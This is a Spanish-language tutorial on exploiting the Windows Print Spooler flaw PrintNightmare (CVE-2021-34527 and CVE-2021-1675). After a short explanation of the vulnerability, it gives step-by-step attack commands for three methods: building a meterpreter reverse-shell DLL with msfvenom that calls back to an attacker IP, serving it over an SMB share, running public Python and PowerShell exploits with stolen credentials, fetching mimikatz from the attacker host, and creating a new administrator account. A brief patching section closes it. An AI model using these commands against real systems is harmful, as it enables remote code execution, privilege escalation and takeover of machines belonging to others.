Escalada de Privilegios en Windows: PrintNightmare

Escalada de Privilegios en Windows: PrintNightmare

Escalada de Privilegios en Windows: PrintNightmare

Introducción

PrintNightmare es el nombre dado a una vulnerabilidad crítica en el servicio de cola de impresión (spoolsv.exe) de Microsoft Windows, identificada como CVE-2021-34527. Originalmente mal clasificada como una vulnerabilidad de Escalada de Privilegios Local (LPE) bajo CVE-2021-1675, se descubrió más tarde que permitía Ejecución Remota de Código (RCE), lo que aumentó significativamente su gravedad. A pesar de los parches iniciales, el exploit se publicó en línea antes de que los parches fueran completamente efectivos, lo que generó una preocupación generalizada. Este artículo se centra en la escalada de privilegios utilizando la vulnerabilidad del Print Spooler, que ganó una atención significativa en 2021.

.

CVE Relacionados

  • CVE-2021-34527
    Tipo de Vulnerabilidad: Ejecución Remota de Código
    Severidad: Alta
    Puntuación CVSS Base: 9.3
    Versiones Afectadas: Múltiples versiones de Windows 7, 8.1, 10 y varias versiones de Windows Server.
  • CVE-2021-1675
    Tipo de Vulnerabilidad: Escalada de Privilegios Local
    Severidad: Alta
    Puntuación CVSS Base: 9.3
    Versiones Afectadas: Las mismas que CVE-2021-34527.

Asesoramientos Relacionados:

Tabla de Contenidos

  1. Fundamentos del Print Spooler
  2. Resumen de la Vulnerabilidad
  3. Flujo de la Vulnerabilidad
  4. IPs de las Máquinas
  5. Método 1 – RCE de PrintNightmare usando Python
  6. Método 2 – LPE de PrintNightmare usando PowerShell
  7. Método 3 – LPE de PrintNightmare usando Mimikatz
  8. Estado de los Parches
  9. Conclusión

El servicio Print Spooler es un componente crucial del proceso de impresión en Windows, iniciado al arrancar el sistema. A continuación se muestra una visión general de cómo funciona la impresión:

  • Aplicación: Inicia un trabajo de impresión al interactuar con la Interfaz de Dispositivo Gráfico (GDI).
  • GDI: Proporciona soporte tanto para componentes en modo usuario como en modo kernel.
  • winspool.drv: Actúa como la interfaz con el spooler, proporcionando los stubs RPC necesarios.
  • spoolsv.exe: Funciona como el servidor API del spooler, dirigiendo los mensajes al proveedor de impresión adecuado.
  • spoolss.dll: Determina el proveedor de impresión correcto basado en el nombre de la impresora y reenvía la solicitud en consecuencia.

Resumen de la Vulnerabilidad

El protocolo MS-RPRN (Protocolo Remoto del Sistema de Impresión) tiene un método llamado RpcAddPrinterDriverEx() que permite a los usuarios con el SeLoadDriverPrivilege instalar controladores de impresora de manera remota. Típicamente, este privilegio está reservado para administradores. Sin embargo, esta vulnerabilidad permite eludir esta verificación, habilitando la ejecución remota o local de código dependiendo del vector de ataque utilizado.

.

Flujo de la Vulnerabilidad

Para entender cómo se explota esta vulnerabilidad, es esencial comprender los pasos involucrados en RpcAddPrinterDriver:

  1. Agregar Controlador de Impresora: El cliente (atacante) inicia una llamada a RpcAddPrinterDriver.
  2. Crear Contenedor de Controlador MS-RPRN: El cliente crea un contenedor de controlador con DRIVER_INFO_2 que contiene rutas a DLLs y otros parámetros necesarios.
  3. Verificación de Seguridad: El sistema verifica si el cliente tiene el SeLoadDriverPrivilege.
  4. Eludir la Verificación: El exploit manipula los parámetros para eludir la seguridad, específicamente usando una ruta UNC para pConfigFile.

Este proceso permite al atacante cargar una DLL maliciosa, obteniendo acceso no autorizado.

IPs de las Máquinas

  • IP del Atacante: 192.168.5.10
  • IP de la Víctima: 192.168.5.20
  • Credenciales Comprometidas: cyber4hack/123

Método 1 – RCE de PrintNightmare usando Python

Este método demuestra la ejecución remota de código usando Python:

  1. Crear una DLL Maliciosa:
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.5.10 lport=4444 -f dll -o evil.dll
    
  2. Clonar el Repositorio del Exploit:
    git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
    cd PrintNightmare-CVE-2021-34527
    chmod 777 CVE-2021-34527.py
  3. Almacenar la DLL Maliciosa en un Servidor Samba:
    python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
  4. Lanzar el Exploit RCE:
    ./CVE-2021-34527.py cyber4hack:123@192.168.5.20 '\\192.168.5.10\share\evil.dll'

Al ejecutarse con éxito, el atacante obtiene acceso de nivel administrador en la máquina víctima.

Método 2 – LPE de PrintNightmare usando PowerShell

Este método cubre la escalada de privilegios local usando PowerShell:

  1. Clonar el Repositorio:
    git clone https://github.com/calebstewart/CVE-2021-1675.git
    cd CVE-2021-1675
  2. Subir y Ejecutar el Script de PowerShell:
    powershell wget http://192.168.5.10/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
    powershell -ep bypass
    Import-Module .\cve.ps1
    Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"

Este script crea un nuevo usuario administrador, escalando efectivamente los privilegios en la máquina comprometida.

Método 3 – LPE de PrintNightmare usando Mimikatz

Mimikatz proporciona otro método para explotar esta vulnerabilidad:

  1. Descargar y Ejecutar Mimikatz:
    python3 -m http.server 80
    powershell wget http://192.168.5.10/mimikatz.exe -O \users\Public\mimikatz.exe
  2. Ejecutar el Exploit de PrintNightmare a través de Mimikatz:
    misc::printnightmare /library:\\192.168.5.10\share\evil.dll /authuser:cyber4hack /authpassword:123 /try:50

Este método también lleva a la escalada de privilegios al cargar una DLL maliciosa.

Estado de los Parches

Microsoft ha lanzado parches para abordar esta vulnerabilidad. Se recomienda a los administradores que apliquen estos parches de inmediato, deshabiliten la funcionalidad de Point and Print cuando sea posible y limiten las capacidades de impresión para reducir el riesgo.

Conclusión

PrintNightmare es una vulnerabilidad grave debido a su facilidad de explotación y su impacto potencial. A pesar de los esfuerzos de Microsoft, continúan surgiendo nuevos exploits que apuntan al servicio Print Spooler. Los profesionales de seguridad deben mantenerse vigilantes, asegurando que los sistemas estén actualizados y monitoreando para detectar posibles intentos de explotación.

No hay etiquetas para esta entrada.